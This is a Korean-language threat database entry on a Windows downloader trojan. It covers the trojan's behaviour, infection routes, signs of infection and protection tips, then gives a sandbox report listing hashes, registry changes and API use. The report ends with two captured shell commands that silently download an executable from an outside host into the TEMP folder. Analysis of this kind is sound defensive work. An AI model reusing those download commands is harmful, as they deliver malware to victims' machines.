위협 데이터베이스 트로이 목마 트로이목마.에이전트.Gen.DZR

트로이목마.에이전트.Gen.DZR

트로이 목마년에 CagedTech 년까지
게시됨:
마지막 업데이트:

위협 스코어카드

인기 순위: 19,710
위협 수준: 80 % (높은)
처음 본 것: July 18, 2026
마지막으로 본: September 1, 2026
영향을 받는 OS: Windows

Trojan.Agent.Gen.DZR 은 Windows 컴퓨터를 대상으로 하는 위험한 트로이 목마입니다. 위험도가 높은 것으로 분류된 이 위협은 시스템에 조용히 침투하여 백그라운드에서 악성 코드를 실행하고 추가적인 침해를 유발하도록 설계되었습니다. 최근 몇 달 동안 활동이 관찰되었으며, 그 동작 패턴은 감염된 시스템에 추가 악성 페이로드를 전달하는 데 일반적으로 사용되는 다른 일반적인 트로이 목마 다운로더와 유사합니다.

Trojan.Agent.Gen.DZR의 역할

시스템에 침투하여 활성화되면 Trojan.Agent.Gen.DZR은 눈에 띄는 창이나 명확한 징후 없이 백그라운드에서 조용히 실행되므로 일반 사용자가 알아차리기 어렵습니다. 동작 분석 결과, 이 악성 프로그램은 Windows 명령줄을 통해 실행되는 숨겨진 PowerShell 명령에 크게 의존하여 원격 서버에서 감염된 컴퓨터로 추가 파일을 조용히 다운로드하는 것으로 나타났습니다. 다운로드된 파일은 일반적으로 임시 폴더에 저장되며, 이를 통해 추가 악성 구성 요소를 설치할 수 있습니다.

이 트로이목마는 표준 인터넷 연결 기능을 사용하여 네트워크를 통해 원격 서버와 통신하며 데이터를 송수신합니다. 이는 공격자에게 정보를 보고하거나 새로운 명령 및 페이로드를 다운로드할 수 있음을 시사합니다. 또한 사용자 이름, 컴퓨터 이름, 네트워크 구성과 같은 컴퓨터의 기본 정보를 수집하여 공격자가 추가 공격을 계획하거나 감염 성공 여부를 확인할 수 있도록 합니다. 이 악성코드는 디버깅 도구의 존재 여부를 확인하거나 자체 프로세스 메모리를 조작하는 등 탐지 및 분석을 회피하는 데 일반적으로 사용되는 기술도 포함하고 있습니다. 이러한 은밀성, 원격 통신, 그리고 추가 악성코드를 다운로드하고 실행할 수 있는 능력의 조합은 해커가 감염된 시스템에 대한 광범위한 제어권을 확보할 수 있도록 해주기 때문에 심각한 위협이 됩니다.

바이러스가 컴퓨터에 침투하는 일반적인 경로

Trojan.Agent.Gen.DZR은 일반적으로 특정 취약점을 악용하기보다는 기만적인 수법을 통해 확산됩니다. 이러한 유형의 위협은 신뢰할 수 없거나 악성 웹사이트에서 다운로드한 소프트웨어, 번들 설치 프로그램, 실행 파일, 이미지 또는 비디오 파일과 같은 무해한 파일로 위장한 이메일 첨부 파일 등을 통해 감염됩니다. 어떤 경우에는 이러한 트로이 목마가 패치가 적용되지 않은 시스템 취약점을 이용하여 사용자의 동의 없이 설치되기도 합니다. 설치 과정이 조용히 진행되도록 설계되었기 때문에 피해자는 컴퓨터에 아무런 변화가 없다는 것을 알게 되는 경우가 많습니다.

사용자에게 미치는 위험

Trojan.Agent.Gen.DZR은 설치되면 사용자에게 심각한 위험을 초래할 수 있습니다. 이 악성 프로그램은 사용자 몰래 추가 파일을 다운로드하고 실행하는 기능을 통해 스파이웨어, 랜섬웨어, 원격 접속 도구 등 다른 악성 프로그램의 침투 경로 역할을 할 수 있습니다. 정보 수집 기능은 개인정보 침해에 대한 우려를 불러일으키고, 네트워크 통신 기능은 공격자가 원격으로 명령을 내리거나 데이터를 유출할 수 있음을 시사합니다. 따라서 감염된 컴퓨터는 더 이상 신뢰할 수 있거나 안전하다고 볼 수 없습니다.

감염 징후

이 트로이 목마는 은밀하게 작동하도록 설계되었기 때문에 눈에 띄는 증상은 거의 나타나지 않습니다. 사용자는 예상치 못한 네트워크 활동, 비정상적인 프로세스 또는 PowerShell 창이 화면에 잠깐 나타나는 현상, 시스템 성능 저하, 또는 임시 폴더에 낯선 파일이 나타나는 것을 발견할 수 있습니다. 보안 소프트웨어에서 의심스러운 활동을 경고하는 것이 감염 여부를 판단하는 가장 확실한 지표입니다.

자신을 보호하는 방법

감염 위험을 줄이려면 알 수 없거나 검증되지 않은 발신자가 보낸 이메일 첨부 파일, 특히 문서나 이미지로 위장한 실행 파일은 열지 않는 것이 좋습니다. Windows 운영 체제와 설치된 소프트웨어를 최신 상태로 유지하면 트로이 목마가 자주 악용하는 보안 취약점을 막는 데 도움이 됩니다. 공식적이고 신뢰할 수 있는 출처에서만 소프트웨어를 다운로드하고, 불법 복제 콘텐츠를 피하며, 중요한 데이터를 정기적으로 백업하는 것도 강력한 방어 습관입니다. 신뢰할 수 있고 최신 버전의 보안 소프트웨어를 실행하고 예기치 않은 메시지나 다운로드에 주의를 기울이는 것은 Trojan.Agent.Gen.DZR과 같은 위협으로부터 시스템을 안전하게 보호하는 데 큰 도움이 됩니다.

분석 보고서

일반 정보

성씨: Trojan.Agent.Gen.DZR
서명 상태: No Signature

알려진 샘플

MD5: 446f7c40546602daea4c68d1747fda95
샤1: df4496e25c7e5ff36d95fc358c3ca3f386dfe81a
샤256: D3295CA27022958FB1448443351B895CB7BDDB674983BFC701FAC90A38CD32DA
파일 크기: 408.06 KB,408064 바이트

Windows 휴대용 실행 파일 속성

  • File doesn't have "Rich" header
  • File doesn't have exports table
  • File doesn't have security information
  • File has TLS information
  • File is 64-bit executable
  • File is console application (IMAGE_SUBSYSTEM_WINDOWS_CUI)
  • File is either console or GUI application
  • File is Native application (NOT .NET application)
  • File is not packed
  • IMAGE_FILE_DLL is not set inside PE header (Executable)
Show 1 more
  • IMAGE_FILE_EXECUTABLE_IMAGE is set inside PE header (Executable Image)

파일 특성

  • GetConsoleWindow
  • No Version Info
  • x64

블록 정보

총 블록 수: 1,065
잠재적으로 악의적인 차단: 186
허용된 블록: 826
알 수 없는 블록: 53

시각적 지도

0 - 안전 블록 가능성 높음
? - 알 수 없는 블록
x - 잠재적으로 악의적인 차단

비슷한 가족

  • Gamehack.ACC
  • Trojan.Agent.Gen.DNW
  • Trojan.Agent.Gen.DZR

수정된 파일

파일 속성
\device\namedpipe\dav rpc service Generic Read,Write Data,Write Attributes,Write extended,Append data
\device\namedpipe\pshost.134327898198774855.9476.defaultappdomain.powershell Generic Read,Write Data,Write Attributes,Write extended,Append data,LEFT 524288
\device\namedpipe\wkssvc Generic Read,Write Data,Write Attributes,Write extended,Append data
c:\users\user\appdata\local\temp\__psscriptpolicytest_3huww40m.5di.ps1 Generic Write,Read Attributes
c:\users\user\appdata\local\temp\__psscriptpolicytest_bop1xh1n.hgm.psm1 Generic Write,Read Attributes

레지스트리 수정

키::값 데이터 API 이름
HKLM\system\controlset001\services\bam\state\usersettings\s-1-5-21-3119368278-1123331430-659265220-1001::\device\harddiskvolume2\windows\system32\cmd.exe 畧Ｄ㪂ǝ RegNtPreCreateKey
HKLM\system\controlset001\services\bam\state\usersettings\s-1-5-21-3119368278-1123331430-659265220-1001::\device\harddiskvolume2\windows\system32\cmd.exe ﶱｌ㪂ǝ RegNtPreCreateKey
HKLM\system\controlset001\services\bam\state\usersettings\s-1-5-21-3119368278-1123331430-659265220-1001::\device\harddiskvolume2\windows\system32\conhost.exe 必ｏ㪂ǝ RegNtPreCreateKey
HKLM\software\microsoft\tracing\rasapi32::enablefiletracing RegNtPreCreateKey
HKLM\software\microsoft\tracing\rasapi32::enableautofiletracing RegNtPreCreateKey
HKLM\software\microsoft\tracing\rasapi32::enableconsoletracing RegNtPreCreateKey
HKLM\software\microsoft\tracing\rasapi32::filetracingmask ￿ RegNtPreCreateKey
HKLM\software\microsoft\tracing\rasapi32::consoletracingmask ￿ RegNtPreCreateKey
HKLM\software\microsoft\tracing\rasapi32::maxfilesize  RegNtPreCreateKey
HKLM\software\microsoft\tracing\rasapi32::filedirectory %windir%\tracing RegNtPreCreateKey
Show 7 more
HKLM\software\microsoft\tracing\rasmancs::enablefiletracing RegNtPreCreateKey
HKLM\software\microsoft\tracing\rasmancs::enableautofiletracing RegNtPreCreateKey
HKLM\software\microsoft\tracing\rasmancs::enableconsoletracing RegNtPreCreateKey
HKLM\software\microsoft\tracing\rasmancs::filetracingmask ￿ RegNtPreCreateKey
HKLM\software\microsoft\tracing\rasmancs::consoletracingmask ￿ RegNtPreCreateKey
HKLM\software\microsoft\tracing\rasmancs::maxfilesize  RegNtPreCreateKey
HKLM\software\microsoft\tracing\rasmancs::filedirectory %windir%\tracing RegNtPreCreateKey

Windows API 사용법

범주 API
Syscall Use
  • ntdll.dll!NtAccessCheck
  • ntdll.dll!NtAlertThreadByThreadId
  • ntdll.dll!NtAllocateLocallyUniqueId
  • ntdll.dll!NtAlpcConnectPort
  • ntdll.dll!NtAlpcConnectPortEx
  • ntdll.dll!NtAlpcCreatePortSection
  • ntdll.dll!NtAlpcCreateSectionView
  • ntdll.dll!NtAlpcCreateSecurityContext
  • ntdll.dll!NtAlpcDeleteSecurityContext
  • ntdll.dll!NtAlpcQueryInformation
Show 90 more
  • ntdll.dll!NtAlpcQueryInformationMessage
  • ntdll.dll!NtAlpcSendWaitReceivePort
  • ntdll.dll!NtAlpcSetInformation
  • ntdll.dll!NtApphelpCacheControl
  • ntdll.dll!NtAssociateWaitCompletionPacket
  • ntdll.dll!NtCancelTimer2
  • ntdll.dll!NtCancelWaitCompletionPacket
  • ntdll.dll!NtClearEvent
  • ntdll.dll!NtClose
  • ntdll.dll!NtCompareSigningLevels
  • ntdll.dll!NtConnectPort
  • ntdll.dll!NtCreateEvent
  • ntdll.dll!NtCreateFile
  • ntdll.dll!NtCreateIoCompletion
  • ntdll.dll!NtCreateKey
  • ntdll.dll!NtCreateMutant
  • ntdll.dll!NtCreatePrivateNamespace
  • ntdll.dll!NtCreateSection
  • ntdll.dll!NtCreateSemaphore
  • ntdll.dll!NtCreateThreadEx
  • ntdll.dll!NtCreateTimer
  • ntdll.dll!NtCreateTimer2
  • ntdll.dll!NtCreateWaitCompletionPacket
  • ntdll.dll!NtCreateWorkerFactory
  • ntdll.dll!NtDelayExecution
  • ntdll.dll!NtDeviceIoControlFile
  • ntdll.dll!NtDuplicateObject
  • ntdll.dll!NtDuplicateToken
  • ntdll.dll!NtEnumerateKey
  • ntdll.dll!NtEnumerateValueKey
  • ntdll.dll!NtFlushProcessWriteBuffers
  • ntdll.dll!NtFreeVirtualMemory
  • ntdll.dll!NtFsControlFile
  • ntdll.dll!NtGetCachedSigningLevel
  • ntdll.dll!NtGetCompleteWnfStateSubscription
  • ntdll.dll!NtMapViewOfSection
  • ntdll.dll!NtNotifyChangeKey
  • ntdll.dll!NtOpenDirectoryObject
  • ntdll.dll!NtOpenEvent
  • ntdll.dll!NtOpenFile
  • ntdll.dll!NtOpenKey
  • ntdll.dll!NtOpenKeyEx
  • ntdll.dll!NtOpenProcess
  • ntdll.dll!NtOpenProcessToken
  • ntdll.dll!NtOpenProcessTokenEx
  • ntdll.dll!NtOpenSection
  • ntdll.dll!NtOpenSemaphore
  • ntdll.dll!NtOpenSymbolicLinkObject
  • ntdll.dll!NtOpenThread
  • ntdll.dll!NtOpenThreadToken
  • ntdll.dll!NtOpenThreadTokenEx
  • ntdll.dll!NtProtectVirtualMemory
  • ntdll.dll!NtQueryAttributesFile
  • ntdll.dll!NtQueryDefaultLocale
  • ntdll.dll!NtQueryDirectoryFileEx
  • ntdll.dll!NtQueryFullAttributesFile
  • ntdll.dll!NtQueryInformationFile
  • ntdll.dll!NtQueryInformationJobObject
  • ntdll.dll!NtQueryInformationProcess
  • ntdll.dll!NtQueryInformationThread
  • ntdll.dll!NtQueryInformationToken
  • ntdll.dll!NtQueryKey
  • ntdll.dll!NtQueryLicenseValue
  • ntdll.dll!NtQueryObject
  • ntdll.dll!NtQueryPerformanceCounter
  • ntdll.dll!NtQuerySecurityAttributesToken
  • ntdll.dll!NtQuerySecurityObject
  • ntdll.dll!NtQuerySymbolicLinkObject
  • ntdll.dll!NtQuerySystemInformation
  • ntdll.dll!NtQuerySystemInformationEx
  • ntdll.dll!NtQueryValueKey
  • ntdll.dll!NtQueryVirtualMemory
  • ntdll.dll!NtQueryVolumeInformationFile
  • ntdll.dll!NtQueryWnfStateData
  • ntdll.dll!NtQueueApcThread
  • ntdll.dll!NtQueueApcThreadEx2
  • ntdll.dll!NtReadFile
  • ntdll.dll!NtReadRequestData
  • ntdll.dll!NtReadVirtualMemory
  • ntdll.dll!NtReleaseMutant
  • ntdll.dll!NtReleaseSemaphore
  • ntdll.dll!NtReleaseWorkerFactoryWorker
  • ntdll.dll!NtRequestWaitReplyPort
  • ntdll.dll!NtResumeThread
  • ntdll.dll!NtSetEvent
  • ntdll.dll!NtSetInformationFile
  • ntdll.dll!NtSetInformationKey
  • ntdll.dll!NtSetInformationObject
  • ntdll.dll!NtSetInformationProcess
  • ntdll.dll!NtSetInformationThread

위에 표시되지 않은 추가 품목이 31개 있습니다.

Process Manipulation Evasion
  • NtUnmapViewOfSection
Process Shell Execute
  • CreateProcess
Anti Debug
  • IsDebuggerPresent
  • NtQuerySystemInformation
User Data Access
  • GetComputerName
  • GetUserDefaultLocaleName
  • GetUserName
  • GetUserNameEx
  • GetUserObjectInformation
Encryption Used
  • BCryptOpenAlgorithmProvider
Other Suspicious
  • AdjustTokenPrivileges
Network Info Queried
  • GetAdaptersAddresses
  • GetNetworkParams
Network Winsock2
  • WSAConnect
  • WSASend
  • WSASocket
  • WSAStartup
  • WSAttemptAutodialName
Network Winsock
  • closesocket
  • freeaddrinfo
  • getaddrinfo
  • setsockopt
Network Winhttp
  • WinHttpOpen

셸 명령 실행

C:\WINDOWS\system32\cmd.exe cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://exo-api.tf/Stb/Retev.php?bl=QTuVl0PCseGLafunsZPRE008.txt&_r=mffkdrh5DYZO' -OutFile $env:TEMP\BK953836.exe
C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://exo-api.tf/Stb/Retev.php?bl=QTuVl0PCseGLafunsZPRE008.txt&_r=mffkdrh5DYZO' -OutFile $env:TEMP\BK953836.exe